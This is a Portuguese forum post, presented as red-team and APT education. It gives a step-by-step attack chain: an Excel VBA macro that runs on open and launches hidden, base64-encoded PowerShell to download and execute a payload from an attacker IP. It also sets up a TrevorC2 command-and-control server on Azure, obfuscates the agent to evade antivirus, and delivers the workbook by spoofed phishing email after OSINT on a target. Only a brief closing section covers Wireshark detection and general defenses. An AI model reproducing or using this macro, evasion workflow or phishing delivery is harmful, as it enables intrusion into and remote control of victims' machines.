Joas Antonio Postado Junho 1, 2021 Postado Junho 1, 2021 Introdução As ameaças persistentes avançadas são ataques direcionados especificamentes a um tipo de negócio ou organização, no caso muitos ataques de longa escala utilizam TTPs (Técnica, Táticas e Procedimentos) para comprometer seu alvo, seja utilizando um spear-phishing ou explorando vulnerabilidades em um sistema. Como exemplo, temos as campanhas de ransomware que se propagam de diversas formas, seja elas por ataques de Phishing ou por meio de 0days. O Mitre Att&ck mostra como muitos grupos de cibercriminosos atuam e quais os principais vetores de ataques são utilizados, além dos TTPs. GroupsSNAKEMACKEREL, Swallowtail, Group 74, Sednit, Sofacy, Pawn Storm, Fancy Bear, STRONTIUM, Tsar Team, Threat Group-4127…attack.mitre.org MITRE ATT&CK®MITRE ATT&CK ® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world…attack.mitre.org Nesse artigo, vou demonstrar um ataque utilizando um documento maliciosos com um Macro VBA que instala um Agent de C2 usando o Trevorc2 para criar uma botnet no Azure. “Antes de tudo, estou utilizando Azure para demonstrar como um C2 funciona externamente na prática, muitos criminosos usam esse tipo de serviço, mas claro a Microsoft sempre está de olho, por isso é sempre bom ter seu próprio servidor ou usar uma VPS.” Azure configuration Configurar o azure não é algo que vou demonstrar em passo a passo, mas por ora você pode criar uma conta gratuita para seus testes e realizar o procedimento para criar uma máquina virtual. Você pode seguir esse passo a passo aqui: Início Rápido - Criar uma VM Linux no portal do Azure - Azure Virtual MachinesAs máquinas virtuais (VM) do Azure podem ser criadas por meio do Portal do Azure. Azure virtual machines (VMs) can be…docs.microsoft.com Após criar a sua máquina, particularmente usei o Ubuntu 18.04, você pode digitar os seguintes comandos: apt-get update apt list — upgradable apt-get install python apt-get install python3 apt-get install python3-pip apt-get install python-pip Após isso, vamos partir para a configuração do nosso documento malicioso antes de configurarmos o servidor de C2 Documento Malicioso .XLSM Irei criar um Macro bem simples para efetuar o download do agent que estara no servidor da minha aplicação e posteriormente executar o agent.ps1 para obtermos a nossa conexão. O código é bem simples, você pode aprimorar ele e utilizar técnicas de obfuscação e sleep time para diminuir o comportamento anomalo dele. Eu particularmente convertir as strings do powershell em base64, para dificultar a leitura do que está sendo executado no VBA, utilizei o seguinte comando: [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“wget http://server:443/agent.ps1 -OutFile C:\Temp\agent.ps1”)) [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“C:\Temp\agent.ps1”)) [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(“-ExecutionPolicy Bypass -Windowstyle Hidden -File c:\Temp\payload.ps1”)) Agora vou criar o meu VBA que será executado na minha planilha do excel, para isso vou abrir o Excel e apertar alt+f11 Crie um Módulo e adicione o seguinte código Sub RunAndGetCmd() strCommand = “Powershell -Windowstyle Hidden -encodedCommand dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAzAC4ANgA1AC4AMgAzADQALgAxADkANAA6ADQANAAzAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=” strCommand2 = “Powershell -Windowstyle Hidden -encodedCommand QwA6AFwAVABlAG0AcABcAHAAYQB5AGwAbwBhAGQALgBwAHMAMQA=” Set WshShell = CreateObject(“WScript.Shell”) Set WshShellExec = WshShell.Exec(strCommand) Set WshShellExec = WshShell.Exec(strCommand2) Set objShell = CreateObject(“Wscript.Shell”) objShell.Run (“powershell.exe -encodedCommand LQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBXAGkAbgBkAG8AdwBzAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARgBpAGwAZQAgAGMAOgBcAFQAZQBtAHAAXABwAGEAeQBsAG8AYQBkAC4AcABzADEA”) strOutput = WshShellExec.StdOut.ReadAll End Sub Agora adicione o seguinte código no Microsoft Excel Object Private Sub Workbook_Open() RunAndGetCmd End Sub Agora vamos salvar o código como Macro-enabled workbook Após ter configurado, basta re-abrir o Excel e verificar se ele esta funcionando corretamente. Configurando C2 e Obfuscando Agent Agora vamos entrar no nosso servidor no Azure e configurar nosso servidor C2 e obfuscar nosso agent para não ser fácilmente detectado pelo AV. Vamos clonar o repositório do Trevorc2 Agora vamos instalar os pré-requisitos, digitando: pip install -r requeriments.txt pip3 install -r requeriments.txt Vamos acessar a pasta agents e agora vamos pegar o código trevorc2_client.ps1 para obfuscar esse código, antes vamos configurar apenas essa linha e por o IP do nosso servidor. Vamos salvar e agora é só obfuscar o código, no caso você pode utilizar diversas técnicas para enconde e obsfucação. danielbohannon/Invoke-ObfuscationInvoke-Obfuscation is a PowerShell v2.0+ compatible PowerShell command and script obfuscator. In the Fall of 2015 I…github.com CBHue/PyFuscationObfuscate powershell scripts by replacing Function names, Variables and Parameters. - CBHue/PyFuscationgithub.com No meu caso vou utilizar o PyFuscation para isso Clonei o repositório e vou jogar o trevorc2_client.ps1 para dentro da pasta PyFuscation Executei o pyfuscation Esse é o resultado, porém para verificarmos a efetividade dele vou rodar um virustotal (Não é recomendado se você não quer nerfar o seu código), como é somente para estudos vamos validar a efetividade. Vou subir um servidor de aplicação na porta 443 por conta da limitação do Azure e baixar o arquivo para analisar no virustotal, posso usar uma API para válidar também, mas vou utilizar a interface web mesmo. https://support.virustotal.com/hc/en-us/articles/360006819798-API-Scripts-and-client-libraries Agora vou renomear o agent para payload.ps1 Agora vamos iniciar o servidor do Trevorc2 Ele detectou o meu apache2 ativado, vou desativar, pois o trevorc2 trabalha pela porta 80 (HTTP) Ainda não possuo nenhuma shell ainda, para isso vou precisar criar um vetor de ataque que no caso será um Phishing. Ataque de Phishing Phishing é um tipo de ataque de engenharia social frequentemente usado para roubar dados do usuário, incluindo credenciais de login e números de cartão de crédito. Ocorre quando um invasor, disfarçado de entidade confiável, induz a vítima a abrir um e-mail, mensagem instantânea ou mensagem de texto. O destinatário é então induzido a clicar em um link malicioso, o que pode levar à instalação de malware, ao congelamento do sistema como parte de um ataque de ransomware ou à revelação de informações confidenciais. Um ataque pode ter resultados devastadores. Para indivíduos, isso inclui compras não autorizadas, roubo de fundos ou roubo de identidade. Além disso, o phishing é frequentemente usado para obter uma posição segura em redes corporativas ou governamentais como parte de um ataque maior, como um evento de ameaça persistente avançada (APT). Neste último cenário, os funcionários são comprometidos a fim de contornar os perímetros de segurança, distribuir malware dentro de um ambiente fechado ou obter acesso privilegiado a dados protegidos. Uma organização que sucumbe a tal ataque normalmente sofre graves perdas financeiras, além de queda na participação de mercado, reputação e confiança do consumidor. Dependendo do escopo, uma tentativa de phishing pode se transformar em um incidente de segurança do qual uma empresa terá dificuldade em se recuperar. What is phishing | Attack techniques & scam examples | ImpervaPhishing attacks often result in the theft of user data. Learn about common phishing attacks, such as email scams and…www.imperva.com Phishing: Spearphishing AttachmentAdversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems…attack.mitre.org Para eu comprometer meu alvo, vou utilizar a técnica de E-mail Spoofing, claro que não é bem efetivo, pois existem muitos meios de mitigar, basta configurar o SPF de maneira correta, uma ferramenta que ajuda nesse aspecto é o https://www.dmarcanalyzer.com/spf/checker/ que analisa se seu dominio está configurado corretamente. Vou me passar por uma organização desconhecida e irei levantar a informação do meu alvo utilizando o OSINT por meio de midias sociais. Peguei as informações do usuário e o e-mail de contato dele, agora vou enviar esse documento malicioso que criamos para tentar compromete-lo. Pode ser utilizado alguma ferramenta em Python de E-mail Spoofing, o próprio Setoolkit ou até mesmo o EMKEI que é uma ferramenta web para email spoofing. https://emkei.cz/ Após o envio vamos torcer para não cair no SPAM ou para que o usuário clique e abra essa planilha Após o recebimento vamos aguardar que o usuário abra e execute para obtermos algum resultado. Ótimo! Obtemos um resultado satisfatório, agora podemos nos aprofundar interagindo com o alvo, para isso basta digitar: Digitei o comando dir E obtive as pastas desse usuário, se quiser acessar outros dispositivos é só digitar: E assim usar o comando: interact Nesse caso não vou me aprofundar nos vetores de ataque, pois esse artigo é apenas para dar uma noção básica de um malware que se esconde em um arquivo .xlsm ao qual instala um agent de C2 para você utilizar da forma que desejar. Detectando o C2? Como exercicio é sempre bacana analisar o trafego de rede e ver como o C2 se comporta, por exemplo: O TrevorC2 que estamos utilizando nesse artigo é um modelo cliente / servidor para mascarar comando e controle por meio de um site normalmente navegável. A detecção se torna muito mais difícil porque os intervalos de tempo são diferentes e não usam solicitações POST para saída de dados. Utilizando Wireshark podemos analisar o tráfego e coletar comportamentos anomalos na rede Analisando eu encontrei uma comunicação HTTP no servidor 13.65.234.194, bem suspeito quando não possuo nem o browser aberto para realizar a comunicação com algum site HTTP. Ao digitar o IP http://13.65.234.194/ no navegador, fui redirecionado para o site do Google, assim fica um pouco mais dificil de verificar se é um C2 ou não. ip.addr == 13.65.234.194 Filtrando, você pode analisar com calma e detectar algum comportamento suspeito. Conclusão Os APTs é o medo de qualquer organização, pois um grupo de cibercriminosos que estão motivados a atacar e a comprometer o alvo é um sério risco para todos. Muitos ataques tem motivações diferentes, porém seu objetivo é afetar de alguma forma o seu alvo, seja gerando impactos financeiros ou não. Se proteger não é uma tarefa fácil, existe um caminho a percorrer: Implementar uma cultura de segurança da informação na sua organização; Conscientizar os usuários sobre as diversas ameaças no meio cibernético; Ficar em compliance com os principais padrões e normas do mercado; Investir em soluções de segurança para proteger seu ambiente e a rede corporativa da sua organização; Possuir um bom time de CSIRT; Capacitar seus profissionais de segurança da informação; Buscar soluções de IT que respeite a segurança da informação; E caso você seja alvo de um ataque que utilize algum recurso tecnológico de empresas sérias para se propagar, reportar é a solução mais efetiva. Muitos C2 que utilizam instâncias do Azure, AWS, Google Cloud, são bloqueadas por essas provedoras de nuvem. Mas claro, se outros meios descentralizados são utilizado, cabe um bom time de Threat Intelligence para combater o inimigo e auxiliar no bloqueio dessa ameaça. Esse foi um exemplo bem simples, que pode ser feito de várias formas, com certeza é sempre bom ficar de olho nos métodos que os atacantes, os Hackers maliciosos utilizam para utilizar no seu Red Team Operations. Me adicione no LinkedIn: https://www.linkedin.com/in/joas-antonio-dos-santos
Posts Recomendados
Arquivado
Este tópico foi arquivado e está fechado para novas respostas.